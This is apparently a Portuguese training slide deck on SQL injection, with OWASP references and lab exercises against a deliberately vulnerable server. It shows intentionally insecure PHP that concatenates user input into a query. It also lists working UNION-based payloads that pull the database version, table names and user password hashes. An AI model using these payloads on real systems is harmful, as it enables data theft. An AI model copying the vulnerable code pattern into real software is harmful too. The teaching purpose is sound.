a1 - sql injection na prática parte 01

22
A1 – SQL Injection na Prática! COPYRIGHT © REINALDO M. R. JUNIOR – SEGURANÇA DA INFORMAÇÃO. TODOS OS DIREITOS RESERVADOS.

Upload: reinaldo-junior

Post on 21-Jan-2017

318 views

Category:

Documents


4 download

TRANSCRIPT

Page 1: A1 - Sql Injection na Prática Parte 01

A1 – SQL Injection na Prática!

COPYRIGHT © REINALDO M. R. JUNIOR – SEGURANÇA DA INFORMAÇÃO. TODOS OS DIREITOS RESERVADOS.

Page 2: A1 - Sql Injection na Prática Parte 01

Exemplos Reais

Page 3: A1 - Sql Injection na Prática Parte 01

Sumário

Tipos de Injeção

SQL Injection

O que é SQL Injection?

Quais são as implicações?

Exemplo Cracker

Servidor OWASP

Exercícios 01

Código Fonte

Exercícios 02

Referências OWASP

COPYRIGHT © REINALDO M. R. JUNIOR – SEGURANÇA DA INFORMAÇÃO. TODOS OS DIREITOS RESERVADOS.

Page 4: A1 - Sql Injection na Prática Parte 01

A1 – Tipos de Injeção

https://www.owasp.org/index.php/Interpreter_Injection

Page 5: A1 - Sql Injection na Prática Parte 01

A1 – Tipos de Injeção

Injeção de LDAP: é uma técnica usada para explorar

sites da Web que constroem expressões LDAP de uma

entrada fornecida pelo usuário (WASC-29).

Comandos de SO: técnica para explorar sites da Web

através da execução de comandos de sistema

operacional em campos de entrada (WASC-31).

Injeção XPath: é uma técnica usada para explorar

sites que constroem consultas Xpath (linguagem para

endereçar elementos de documentos XML) a partir de

entradas fornecidas pelo usuário (WASC -39).

https://www.owasp.org/index.php/XPATH_Injection

Page 6: A1 - Sql Injection na Prática Parte 01

WordPress - Vulnerability Statistics

Page 7: A1 - Sql Injection na Prática Parte 01

SQL Injetion

O que é?

SQL (Structured Query Language) é uma linguagem de programação para a consulta de

bancos de dados.

Um invasor fornece dados maliciosos para o seu aplicativo e os dados são concatenados

para consultar um banco de dados (BD).

Quais são as implicações?

Vazamento de informações através de mensagens de erro do BD.

Dados extraídos de seu banco de dados .

Controle completo do seu banco de dados (inserir dados, apagar tabelas, e assim por

diante).

Executar comandos em seu sistema.

Comprometimento completo do sistema.

Page 8: A1 - Sql Injection na Prática Parte 01

Exemplo cracker – www.exploit-db.com

Page 9: A1 - Sql Injection na Prática Parte 01

Banco de Vulnerabilidades

Page 10: A1 - Sql Injection na Prática Parte 01

• Common Vulnerabilities and Exposures (CVE) fornece uma referência de

método para conhecimento ao público, expoem as informações de

segurança, e as vulnerabilidades.

http://cve.mitre.org/about/terminology.html

Page 11: A1 - Sql Injection na Prática Parte 01

Servidor OWASP

• Digite no Web Browser o ip que nosso Servidor forneceu.

http://code.google.com/p/owaspbwa/wiki/Downloads

Page 12: A1 - Sql Injection na Prática Parte 01

Selecione a Aplicação WordPress

Page 13: A1 - Sql Injection na Prática Parte 01

Exploração da Vulnerabilidade

Page 14: A1 - Sql Injection na Prática Parte 01

Exercícios 01

Entrar no site http://www.exploit-db.com

Entrar no menu “search”

Pesquisa pela “Description”, o nome do plugin “Spreadsheet ”.

Selecione a vulnerabilidade “Wordpress Plugin Spreadsheet <= 0.6

SQL Injection Vulnerability ”

Aplique o exemplo dado no WordPress, armazenado em nosso

Servidor de Aplicações Vulneráveis.

Outros Bancos de Vulnerabilidades

http://www.securityfocus.com/

http://www.osvdb.org/

http://www.cvedetails.com/top-50-products.php

Page 15: A1 - Sql Injection na Prática Parte 01

SQL Injection Abaixo a aplicação pesquisa o Usuário pelo ID.

ID = 1 / First name: admin / Surname: admin

Page 16: A1 - Sql Injection na Prática Parte 01

Ao inserimos o Apostrofo (‘), no campo de

consulta, gerou um erro de banco de dados.

You have an error in your SQL syntax; check the

manual that corresponds to your MySQL server

version for the right syntax to use near ''''' at line 1

Page 17: A1 - Sql Injection na Prática Parte 01

Código Fonte <?php

if(isset($_GET['Submit'])){

// Retrieve data

$id = $_GET['id'];

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' );

$num = mysql_numrows($result);

$i = 0;

while ($i < $num) {

$first = mysql_result($result,$i,"first_name");

$last = mysql_result($result,$i,"last_name");

echo '<pre>';

echo 'ID: ' . $id . '<br>First name: ' . $first . '<br>Surname: ' . $last;

echo '</pre>';

$i++;

}

}

?>

Page 18: A1 - Sql Injection na Prática Parte 01

O Apostrofo está fechando a consulta SQL e formando

outra, como não há um filtro na Aplicação, o caracteres

interferiu diretamente no código gerando o Erro.

"SELECT first_name, last_name FROM users WHERE user_id = '$id''";

SQL INJECTION

SELECT first_name, last_name FROM users WHERE user_id = '$id' or ' 1 ' = ' 1';

Page 19: A1 - Sql Injection na Prática Parte 01

Exercícios 02

Escreva os comandos e analise os resultados. ' or ' 1 ' = ' 1

' or 1=1—

' union SELECT @@version'

' union SELECT @@version, null '

' union SELECT database(), null '

1' UNION ALL SELECT user, password FROM mysql.user; -- priv;#'“

a' UNION ALL SELECT system_user(),user();#'”

a' UNION SELECT table_schema, table_name FROM information_schema.tables;#'”

' union select user, password from users; -- priv;#'“

' union select user, password from users; -- '

Page 20: A1 - Sql Injection na Prática Parte 01

Password’s usam o criptografia

MD5

Page 21: A1 - Sql Injection na Prática Parte 01

Referências OWASP OWASP SQL Injection Prevention Cheat Sheet

https://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet

https://www.owasp.org/index.php/Preventing_SQL_Injection_in_Java

OWASP Injection Flaws Article

https://www.owasp.org/index.php/Command_Injection

OWASP Testing Guide: Chapter on SQL Injection Testing

https://www.owasp.org/index.php/Testing_for_SQL_Injection_%28OWASP-DV-005%29

OWASP Code Review Guide: Command Injection

https://www.owasp.org/index.php/Reviewing_Code_for_OS_Injection

LDAP Injection

https://www.owasp.org/index.php/LDAP_injection

XML Injection

https://www.owasp.org/index.php/Testing_for_XML_Injection_%28OWASP-DV-008%29

XPATH Injection

https://www.owasp.org/index.php/XPATH_Injection

Log Injection

https://www.owasp.org/index.php/Log_injection

Page 22: A1 - Sql Injection na Prática Parte 01

Referências Externas:

CWE Entry 77 on Command Injection

http://cwe.mitre.org/data/definitions/77.html

CWE Entry 89 on SQL Injection

http://cwe.mitre.org/data/definitions/89.html

XSLT Injection

http://www.acunetix.com/blog/web-security-zone/articles/the-

hidden-dangers-of-xsltprocessor-remote-xsl-injection/